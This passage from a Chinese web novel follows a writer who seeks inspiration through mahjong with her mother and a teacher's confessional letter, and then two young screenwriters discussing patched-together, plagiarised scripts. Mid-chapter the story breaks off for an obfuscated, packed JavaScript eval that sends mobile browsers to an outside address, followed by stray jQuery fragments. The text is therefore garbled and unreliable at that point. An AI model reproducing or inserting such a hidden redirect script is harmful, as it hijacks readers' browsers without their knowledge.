老刘头说的话一点没错，写不出东西只是因为她离自己太远了，有天赋的作家都有旺盛的表达欲，但不是每个有表达欲的人都有写作的天赋。杜华年的自我怀疑从未间断，因为她从未真正了解并有能力掌握自己的天赋。


    她早起早睡地写，一日三餐都能吃上夏莲烧的菜。也常常遇到没有灵感的时候，她就同夏莲说：


    “妈，你怎么不打麻将了？以前你不是最爱吗？”


    “不打了不打了，别来烦我。”


    “打嘛打嘛，我现在得空，你约两个人过来？”


    “啧……”


    夏莲本在读书看报，但她一遍一遍不厌其烦地游说，夏莲很容易就会投降。


    杜华年的牌技十分臭，夏莲总是骂骂咧咧。但很奇怪的，每次只要打上两圈，杜华年就会重新获得灵感，这时候哪怕牌桌上正听着牌，她也能立即丢下麻将跑回书房，空留剩下三个人大惊失色。


    夏莲只能扯着嗓子骂，“你个狗屁不通的屎尿货！老娘怎么生了你这么个玩意？人是你叫来的，现在也是你丢下人家，三缺一啊三缺一！你知不知道什么叫三缺一？你缺大德了你知道吗！何芳芳？何！芳！芳！你滚出来！”


    “三个人可以斗地主啊！”半天，杜华年回了这么一句。


    夏莲气得要冲进去打她，她的小姐妹们只能又拉又劝。


    没两回，大家也就都习惯了，起先还客客气气，注意形象，最后烟也抽上了，酒也喝起来了，不同的小姐妹们也轮流出境，杜华年有时候就光看着她们一屋子姐妹在客厅里闹腾，也觉得思绪分外丰盈。即便这一屋子的姐妹，平均年龄已过五十。


    有时候她们也一同逛菜市，一同散步。杜华年甚至爱上了逛菜市，那些足够世俗化的对白充斥着整个市场，让她倍感实在。


    那些深夜的，清晨的，所有梦醒后的写作时光，实则无比迷人，像她儿时一样。


    这次要讲的是沈荷的故事。


    她要深入沈荷的内心，于是她翻出何文谦的旧西装，特地买了一支沈荷的口红，喷上沈荷用的香水，还摆了一圈各色鲜花在周围，趁着下午光线最朦胧的时刻，或者午夜月光最迷幻的时刻，站在镜子前，试图抓住一丝沈荷的灵魂，然后她就可以短暂地变成沈荷，用她的语气和神态，对着镜子自说自话。


    夏莲经常路过，看见她在镜子里扭捏做作，就会发出无情的嘲笑。


    杜华年知道，这就是还没有成功。


    这天夜里，她站在阳台上抽烟。我还是不够理解沈荷，她想。一阵风穿过花架，带着枯叶追到了她的桌上，她转头看着那几片深黄的叶子，想起了同样颜色的牛皮袋。她掐了烟，取出了华丽娟的信。


    师父：


    见信好！


    我终于还是给您写了这封信，我本来犹豫了很久。


    我时常想，如果我当初听了您的话，没有这么早生下孩子，或许我不会走入穷巷，进退维谷。


    我打算离婚了，真是后悔当初没有听您的，但现在想回头的事，也无任何意义。


    现在的我，已经写不出东西了。我不敢面对您，但这些心里话，我太久没有人说。我以为我成为了妻子和母亲以后，仍然会有我的价值，然而现实却是，我失去了我自己。


    更令我觉得害怕的是，我现在才发现，家庭生活根本不是我喜欢的，可是当时我却觉得那就是我要的一切。


    从前老听人说，人是会变的，曾经喜欢的，现在可能就讨厌了。听起来对，但这段时间我一直在反思，从我嫁人开始的一点一滴，直到今天，我想这句话是错的，人不是变成现在这样的，人是到现在才展现出了真实的自我。


    这不是最可怕的，更可怕的是，我真切地记得第一次感觉到后悔，是在三年前，那时候我还没有发现他出轨，也没有发生什么不愉快，那天只是一个普通的晚饭后，我看着我的丈夫在开一个紧急视频会议，女儿在做学校布置的手工作业，她甚至拒绝我的帮助，一定要自己独立完成。而只有我，不知道还可以做些什么。


    我有什么是一定要坚持独立完成，并享受独立完成的独立结果的事情吗？我没有。


    其实那天我就感受到落差了，那是婚后第一次，我想起我曾经的名字：曹红叶。我忍不住想，如果我没有变回华丽娟，而是一直做曹红叶的话，现在的一切是不是都会不同了呢？


    您知道吗？最可笑的地方来了，当我心里有了念头之后，第一件事竟是否定它，想要死死地把这个念头摁灭。于是，我继续假装了三年，假装我还和二十岁一样，向往婚姻生活，热爱做一个母亲，渴望拥有自己的家庭，而我已经实现了，所以我非常地满足。


    甚至，当我发现他出轨了，我也仍然第一时间，想要粉饰太平，拼尽全力也要维持住从前那个样子的我。


    所以啊，人不是后知后觉，人是故意为之。用浪费自己的生命来拒绝一个真相——我感觉我最想要的，恰恰是我最不想要的。


    我说多了，今天喝了点酒，小睡的时候梦见您和师娘，我多想回到那时候啊，师娘做的菜真香。我接手了一个新的毕业班，这个班上有个女孩儿，叫何芳芳，是何文谦的女儿。我还记得您和何文谦是同学，一起下过乡对吧？


    您可能想不到，这个女孩儿跟我真像！哦不，她就是我，真的，我看见她，就像看见自己，我太喜欢她了，太羡慕她的妈妈了，这一度还引起了我女儿倩倩的妒忌。可是，芳芳却是个苦闷的孩子，您跟我讲过，苦闷会毁掉一个天才，我很担心她。


    但我又想啊，您看我，就是活得很自由，从来我的父母都鼓励我去实现我的天才，他们即便离婚了，对我都没有丝毫疏忽。所以您看，我对婚姻这样向往，大概原因在此。我也任性，婚姻到底是什么样子都不明白，就敢一头扎进去……所以您说，是不是芳芳这样的，才会更好，她戾气重，她不像我这么自在任性，小小年纪，她就知道要区分她自己和她父亲。嗯，我想她实现自我的意愿肯定比我强烈，至少是明确的，是艰难的，而不像我，以为很容易，随时都可以。她迫切，所以她会避免我的悲剧。


    您一定要见见何芳芳，您一定会认同我的，她和我真像啊！


    师父，我错了！我该听您的话才对……


    祝：


    您和师娘健康快乐！


    学生：华丽娟


    2009年12月12日


    这是另一面的华丽娟，又相似又不同。华老师在她的老师面前，会毫不遮掩地表达她的内心。垂手捏着信，杜华年笑了，沈荷的动机到底是什么？是掩饰。沈荷早就发现了真实的自我，可能早到出国之前，她就发现自己是一个对权力极端渴望的人，她有太大的抱负和野心，她还有巨大的不甘与不忿，她对这个世界极其不满，也有着极端强烈的胜负欲，本质上，她和何文谦就是一种人。


    华老师是对的，人不是变成这样的，人只是在时间的长河里逐渐发现了真实的自我。


    所以何文谦一旦给沈荷一座桥，她就一定会走上去。


    这样讲，何文谦应该遗憾，沈荷不是他的女儿。


    “她讨厌我，因为我见过另一个她，但她又要装作和原来一样喜欢我，因为她要拒绝一个真相……”杜华年面对漆黑的夜空低声自语。


    夏莲又走出来给她送牛奶，她望着她，夏莲只是对她微笑说早点睡，就走了回去。


    她独自，默默地哭了一会儿。


    电影如期上映，南京也迎来了今年的第一场寒潮相叠。


    那天之后，曾倩确实没再见到刘白，他似乎像死了一样消失在了她的生活里，没有微信消息，没有电话，没有突然出现。她突然就不习惯了。


    但她还得上班，沈荷每天都待在芳生工作室，像个变态一样盯着每一个人，并且每天都要问她三遍，“杜华年又去哪里了？杜华年为什么又消失了？”


    电影票房走势很好看，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908164|192409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但曾倩和芳生工作室并未从中获益，反而是天地文化的名声响亮起来，它背后的集团股价也节节上涨。


    一周后，票房开始盈利。沈荷特意在芳生工作室庆祝，从总公司带来了几十个人，一下子把工作室塞得挤挤挨挨。曾倩在开了香槟后就溜了，而后在马路边上，看见了许慕华。


    “华年姐不是叫你来找我吗？”许慕华开门见山。


    “我想找的，结果发现根本没有你的电话。”曾倩尴尬地摸摸鼻子。


    高大的梧桐枝叶已经稀疏，树下，两个年轻的姑娘站在冰冷的黄昏里，身上都套着长长的羽绒服，一黑一白，像两个异色邮桶，就这么尴尬地沉默着。


    还是曾倩先开口，“芳芳姐也真是，她还跟你说等我来找你？”


    “嗯。”许慕华点点头，又急忙解释，“华年姐可能忙忘了，以为我们有联系方式。”


    “嗯……”


    ……


    路边开过去一辆车，两辆车，三辆车……


    慕华深吸口气，“挺冷的，我们要不换个地方聊？”


    曾倩其实走了个神，因为工作室里夸张的喧闹阵阵传来，“哦，好啊！”


    两人终于沿着路走了起来，但却并不知道走去哪里。慕华说：“你别担心，我不会瞧不起你的。”


    曾倩被她说中了心思，转头试探地看着她。


    慕华看她一眼，笑了，“真的。你别忘了，我也是个叛徒，我还诬赖她呢。”


    曾倩无法控制她的惊讶，微张着嘴继续看着她，“你怎么……”她又没想好措辞，“额……我是说……你好像……”


    慕华看她词不达意，直接打断她，“我厚脸皮呗。”


    曾倩慌忙摆手想说自己不是这个意思，但自己确实又是这个意思，于是空张了个嘴，什么也没说。


    慕华毫不在意，接着说：“你没经历过今天领完工钱交了房租，剩下的钱只够吃一个月泡面的生活。你不懂，面皮对我来说，真的没有面包重要。”


    曾倩回想了一下大学里勤工俭学的同学，慕华描述的内容就有了画面感。又一阵子沉默，曾倩又问，“你是……怎么让她原谅你的？”


    慕华好笑地看着她，“谁说她原谅我了？”


    曾倩被问住了。


    慕华看她发愣，又说：“我明白你想什么。你觉得她会记恨你。我原来也这么觉得，但后来我发现，可能她根本就不会浪费时间记恨我，因为我对她来说不是什么重要的人。不过我觉得，她挺重视你的。”


    “为什么这么说？”


    “因为她还在担心你怎么水剧本啊！你看她管过我怎么活下去么？”


    曾倩没想过这个思路，但又觉得无法反驳。


    两人停在了十字路口，天已经黑透，红灯还在读秒。


    慕华说：“一会儿我给你几个大纲，你把它们删删减减，互相拼接一下，就能凑出一个剧本了，先把这个月任务交了再说。”


    曾倩惊叫，“这不是抄袭吗？”


    “不抄你交得上吗？”


    “那也不能抄吧？被发现了……就完了。”


    慕华又笑，“现在拍个短剧，十部有九部半都是抄的，你知道这些剧本哪来的？你真以为那些大老板养着我们一群编剧，是为了高质量？几十个人里，几个月能出一个高质量就不错了，其他的不能白养着吧？那这些烂剧本就打包便宜卖给那些网剧小团队，他们混着洗一洗，低成本拍好放抖音上面，刷得可疯了，比我们赚钱多了！信我，这些大纲也不是好货，不会有人来告发你的，我不坑你。”


    曾倩看着慕华递过来的微信二维码，缓不过神来。


    “干嘛？还有点不屑做是吧？”慕华看出她的挣扎，每个过来人都是这样湿鞋的，她也不逼她，只是拿出了老鸨一样的做派，“没事，你先加我，到时候我发给你，用不用随你，我又不能强迫你用。”


    曾倩迷迷糊糊地加上了慕华的微信。